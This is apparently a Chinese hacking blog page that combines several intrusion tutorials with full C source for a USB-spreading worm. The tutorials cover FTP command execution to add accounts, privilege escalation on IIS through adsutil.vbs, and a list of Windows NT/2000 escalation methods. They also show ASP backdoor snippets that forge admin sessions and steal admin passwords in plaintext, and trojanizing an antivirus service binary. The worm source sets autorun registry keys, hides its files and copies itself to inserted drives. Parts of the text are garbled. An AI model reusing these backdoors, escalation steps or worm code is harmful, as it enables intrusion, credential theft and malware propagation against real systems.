好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:

ftp>quote site exec net user xr rain /add

在webshell上运行net user,就可以看见添加成功了。

整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。


asp.dll解析成system提升权限
网络上传统的提升asp权限为系统的有两种:
1.图形化下的,把默认站点---->主目录--->应用程序保护设置为低,这样就可以把asp权限设置为system.
但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天
我要谈的关于adsutil.vbs提升权限.
2.用adsutil.vbs搞定.
在网络上我看到了很多的教你用这种方法的动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:
先举个例子:
有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.
转到计算机上:
在IIS中,有几个Dll文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析asp的asp.dll则就像一只
普通的狗,他的权限少得可怜.
那么,如果asp.dll也成了长老级的狗的话,那么asp不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是
把asp.dll加入特权的dll一族之中.提升步骤为:
<1>先查看有特权一话有哪些.
<2>加asp.dll加入特权一族
好了,下面我们就来实践这个过程.
1)查看有特权的dll文件:
命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
得到显示为:
C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps : (LIST) (5 Items)
"C:\\WINNT\\system32\\idq.dll"
"C:\\WINNT\\system32\\inetsrv\\httpext.dll"
"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\system32\\msw3prt.dll"
看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
这几个文件,不同的机子,可能会不同.
2)把asp.dll加入特权一族:
因为asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\\Inetpub\\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
例:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll"
这样就可以了,当你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 这个语句查之时,如果没有看见asp.dll,
说明,asp的权限又恢复到以前的权限.


winNT/2000提升权限

  Windows NT/2000 通用的提升方法

  攻击者在获得系统一定的访问权限后通常要把自己的权限提升到管理员组,这样攻击者就控制了该计算机系统。这主要有以下几种方法:1.获得管理员密码,下次就可以用该密码进入系统; 2. 先新建一个用户,然后把这个普通添加到管理员组,或者干脆直接把一个不起眼的用户如guest 添加到管理员组; 3. 安装后门。

  本文简要介绍在 Windows NT4和 Windows 2000 里攻击者常用的提升权限的方法。下面是具体方法:

  方法1 :下载系统的 %windir%\\repair\\sam.*(WinNT 4 下是sam._ 而Windows2000下是sam )文件,然后用L0pht 等软件进行破解,只要能拿到,肯花时间,就一定可以破解。

  问题:(1 )攻击者不一定可以访问该文件(看攻击者的身份和管理员的设置);(2 )这个文件是上次系统备份时的帐号列表(也可能是第一次系统安装时的),以后更改帐号口令的话,就没用了。

  方法2 :使用pwdump(L0pht 自带的,Windows 2000下无效)或者pwdump2 ,取得系统当前的用户列表和口令加密列表,然后用L0pht 破解这个列表。

  问题:普通用户不能成功运行pwdump类程序(没有权限),例如:使用unicode漏洞进入系统时是IUSR_computer 身份,该用户一般只属于guests组的,运行pwdump类程序就会失败。

  (以上两种是离线的)

  方法3 :使用 Enum 等程序进行远程破解,猜口令。enum可以使用指定的字典对远程主机的某个用户进行破解。

  问题:(1 )如果系统设置了帐号锁定的话,破解几次失败,该帐号就锁定了,暂时不能再破解;(2 )要远程系统开放 Netbios连接,就是 TCP的139 端口,如果用防火墙过滤了的话 Enum 就无法连接到主机。

  (以上方法是通过破解获得密码的,还有直接把当前用户提升权限或者添加用户到管理员组的方法。)

  方法4 :GetAdmin(WinNT 4 下)、PipeUpAdmin (Windows 2000下),在本机运行可以把当前用户帐号加入管理员组。而 PipeUpAdmin则比较厉害,普通用户和Guests组用户都可以成功运行。

  问题:GetAdmin在 SP4有补丁修复了,不能用于高于 SP4的 WinNT 4系统,当然后来又有GetAdmin的增强版本,不过在 SP6a 下好像都不能成功运行。

  注:这一方法利用了 WinNT 4系统的安全漏洞,可以安装补丁解决这一问题。

  (此外还有变通的方法。)

  方法5 :在WinNT 4 和 Windows 2000 注册表里指定用户Shell 程序(Explorer.exe)

  时没有使用绝对路径,而是使用了一个相对路径的文件名(考虑到兼容性问题)。

  由于在系统启动时程序的搜索顺序问题使得 %Systemdrive%\\Explorer.exe(操作系统安装的跟目录下的Explorer.exe)程序执行
,这提供了攻击者一个机会在用户下次登录时执行他自己的程序。

  问题:攻击者必须有安装系统逻辑盘跟目录的写权限才行,而一般管理员都设置该目录普通用户禁写。

  注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。

  方法6 :木马:上传木马,然后运行木马,系统重起动后,木马就是本地登录用户的身份了,然后攻击者连接后就有了本地登录用户的权限。因为一般总是管理员本地登录系统,因此这样很可能就获得了管理员的权限。

  问题:(1 )杀毒软件或病毒防火墙可能阻止木马运行,还有可能把木马杀死。

  (2 )有的木马不能在Guests组身份下运行,这可能与它添加自动运行的方式有关;如没有权限改写注册表的自动运行位置,不能写入%system%\\system32目录(一般的木马都改变文件名,然后写入系统目录,如果没有写入权限系统目录,就不能成功执行木马)。

  解决:不过也有用压缩程序(不是通常说的压缩程序,这种压缩程序把可执行程序压缩后,文件变小了,但是仍然可以正常执行)将木马压缩,从而逃过杀毒软件的特征码检测。我曾使用Aspack成功压缩了一个木马,逃过了金山毒霸正式版的检测。不过也有的木马Aspack压缩不了,如冰河。

  方法7 :Gina、GinaStub木马。虽然这个也叫木马,但是它的功能和上边的那种大不相同,因为一般的木马是在对方安装一个server端,一旦运行就可以使用client端连接到server端,并进行操作。而 ginastub 一般只有一个动态连接库文件,需要手工安装和卸载,他的功能也不是使用client端控制server端,它仅仅就是捕获用户的登录密码。

  问题:安装较麻烦,成功的可能性低,而且安装不当会造成被安装的系统不能启动。

  注:这一方法利用的不是系统的安全漏洞,因此不能通过安装补丁解决这一问题。关于Gina,可以参见我的另一篇文章《WinLogon登录管理和GINA简介》

  方法8 :本地溢出。缓冲区溢出是进行攻击的最好办法,因为一般都可以获得系统权限或者管理员权限;不过很多远程溢出攻击不需要事先有执行程序的权限,而本地溢出就恰好适合提升权限。Win NT4 的 IIS4 的 ASP扩展有一个本地溢出漏洞,Windows 2000的静态图像服务也有一个溢出漏洞,利用该漏洞,攻击者可以获得系统权限。当然 Windows NT 和 Windows 2000 还有很多程序有溢出漏洞,这是这些程序不是总在运行,因此被利用的可能性比较小。

  问题:(1 )ASP 扩展的溢出漏洞需要攻击者有向网站的脚本目录的写权限,才能把攻击程序放到网站上,然后执行。

  (2 )静态图像服务缺省没有安装,只有用户在 Windows 2000 上安装静态图像设备(如数码相机、扫描仪等)时才自动安装。

  注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。

  Windows 2000专用提升漏洞方法方法1 : Windows 2000 的输入法漏洞,利用这个漏洞任何人可以以LocalSystem 身份执行程序,从而可以用来提升权限,不过该漏洞一般限于物理接触 Windows 2000 计算机的人。当然如果开放了终端服务的话,攻击者也可以远程利用该漏洞。

  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

  方法2 :利用 Windows 2000 的 Network DDE DSDM 服务漏洞普通用户可以LocalSystem 身份执行任意程序,可以借此更改密码、添加用户等。Guests组用户也可以成功利用该漏洞。

  问题:这个服务缺省没有启动,需要启动这个服务。

  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

  方法3 :Windows 2000的 TELNET 服务进程建立时,该服务会创建一个命名管道,并用它来执行命令。但是,该管道的名字能被预见。如果 TELNET 发现一个已存在的管道名,它将直接用它。攻击者利用此漏洞,能预先建立一个管道名,当下一次 TELNET 创建服务进程时,便会在本地 SYSTEM 环境中运行攻击者代码。

  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

  方法4 :WINDOWS 2K存在一个利用 Debug Registers提升权限的漏洞。如果攻击者能在 WIN2K中运行程序,利用此漏洞,他至少能取得对 %Windir%\\SYSTEM32和注册表HKCR的写权。因为x86 Debug Registers DR0-7 对于所有进程都是全局共享的,因此在一个进程中设置硬件断点,将影响其它进程和服务程序。

  注:这一方法利用了 Windows 2000 系统的安全漏洞,不过到目前为止微软仍然没有补丁可以安装,但是漏洞攻击程序已经出现了,因此只能堵住攻击者的入口来阻止利用该漏洞。


巧妙配合asp木马取得后台管理权限顶(这个可是经典。。。自己体会我不多说了)




前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞,可能很多朋友手中有了很多webshell的肉鸡,至于选择怎么样这些小鸡的方式也是因人而异,有人继续提升权限,进一步入侵,也有人只是看看,马儿放上去了过了就忘记了,也有一些朋友,当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。其实,对很多功能强大的系统而言,拿到后台也就是拿到了一个好的后门了,呵呵............但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的,但是我们就没有办法突破这些限制了吗?no!我今天就是要说怎么突破这些限制让我们直奔后台,有马儿厩是好办事,follow
me............
session欺骗篇
首先简单说一下一般asp系统的身份验证原理。
一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。
知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。
动力文章系统3.51


其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp
,其验证内容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close />set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" ‘这里是假设的,实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二:



看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?



呵呵,别做坏事哦............
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。

密码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽
好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:
if not isnull(trim(request("username"))) then
if request("username")="admin" then
sql="update [Dv_Vser] set UserEmail=(select userpassword from
[Dv_User]
where username=\'"& request("username")&"\') where
UserName=\'aweige\'"
conn.execute(sql)
end if
end if


这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。结果如图四:



还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。

后记:
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。


另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们

巧用asp木马和KV2004得到管理员权限


重来没写过什么文章,这是第一次,写的不好请大家原谅,高手也不要取笑哦。这里也没什么技术可言,只是我这个菜鸟的一点心得,ok开始。。。
前段时间动网的UPfile.asp漏洞可谓闹的沸沸扬扬,这个漏洞确实很厉害,相信不少新手和我一样种了不少后门在有动网的网站上,但是asp木马的权限确实很底,除了删点文章,删点图片好象没什么用了。不行不得到管理员权限简直就辜负了发现这个漏洞的高手们~v~。好,想办法提升权限,我找啊找!网上提升权限的方法几乎都用过了,都没什么用,补丁打的很全啊!接下来用findpass想解开管理员的密码,又失败,findpass要管理员权限才有用。用pslist看看晕装的是瑞星+天网,网上的大部分工具遇上这个防御组合一般都没用了。种木马?不行一来
权限太底,二来在瑞星杀天网堵的包围下很少能活出来的。做个添加用户权限的bat文件想放到启动组中去,这个方法虽然有点傻但是有一定的可行性,晕又是权限不够加不进去。c盘下的"Program Files" "winnt" "Documents and Settings"三个文件甲都没有写权限,更不要说注册表了。郁闷了,给管理员留了句话,然后匆匆下线。
第2天上来一看,嘿嘿图被改回来了,管理员应该发现了,这次更不容易得手。登上asp木马进去看了一下,昨天传上去的几个exe被删了,还好asp木马活下来了,咦!c盘多了文件甲叫KV2004,原来管理员把瑞星卸了,安了个kv2004,进Program Files看看确实瑞星被卸了。(这里说一下,大部分的杀毒软件默认的安装路径c:\\Program Files\\,但是kv默认的安装路径是c:\\kv2004\\)到这里机会就来了我们可以把执行文件捆绑在kv2004上,跟随kv一起启动。因为kv不在"Program Files" "winnt" "Documents and Settings"这三个文件甲中,很大可能我可以修改

或者上传文件。行动!在kv2004下随便找个htm文件删除:(看看有无写删权限)
C:\\>del c:\\kv2004\\GetLicense.htm
拒绝访问

奇怪了,再来看看文件甲属性
C:\\>attrib c:\\kv2004
S R C:\\KV2004

哦是只读。
C:\\>attrib -r -s c:\\kv2004

ok!在试试
C:\\>del c:\\kv2004\\GetLicense.htm

成功了!好写个起用帐号和提升权限的bat文件,然后把bat文件和kv2004的系统服务文件KVSrvXP.exe捆绑起来,(注意多下种捆绑器,捆绑一

次用kv2004来扫描一次,因为很多捆绑器生成的文件kv会把他作为病毒来处理掉)准备上传了,先删掉原来的KVSrvXP.exe。
C:\\>del c:\\kv2004\\KVSrvXP.exe
拒绝访问

可能是KVSrvXP.exe被windows调用中,删不掉。没办法了吗?不,删不掉我改名
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe

OK!然后用asp木马把修改了的KVSrvXP.exe上传到kv2004中,接下来就去睡觉把。
4个小时后登上来用:
net user 起用的帐户

已经在administrators组中,接下来要关防火墙,关杀毒软件,还是种木马你随便我了,哈哈!
我觉得入侵没什么固定的模式,具体情况具体分析,杀毒软件同样也可以帮我们忙,这里我只提供了一种思路。请大家指教。

如何绕过防火墙提升权限

本文讲的重点是webshell权限的提升和绕过防火

分类: 技术文章 标签:

自己改好的检测设备改变消息的u盘传播者--源代码

2007年1月20日 Chinadu 没有评论 18 views

本代码只供研究,非法使用造成的一切法律后果与本人无关

程序代码:

#include
#include
#include
#include
#include

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
{
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"< fout<<"open="< fout<<"shellexecute="< fout<<"shell\\Auto\\command="< fout<<"shell=Auto"< fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=siz
eof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}

分类: 资源共享 标签: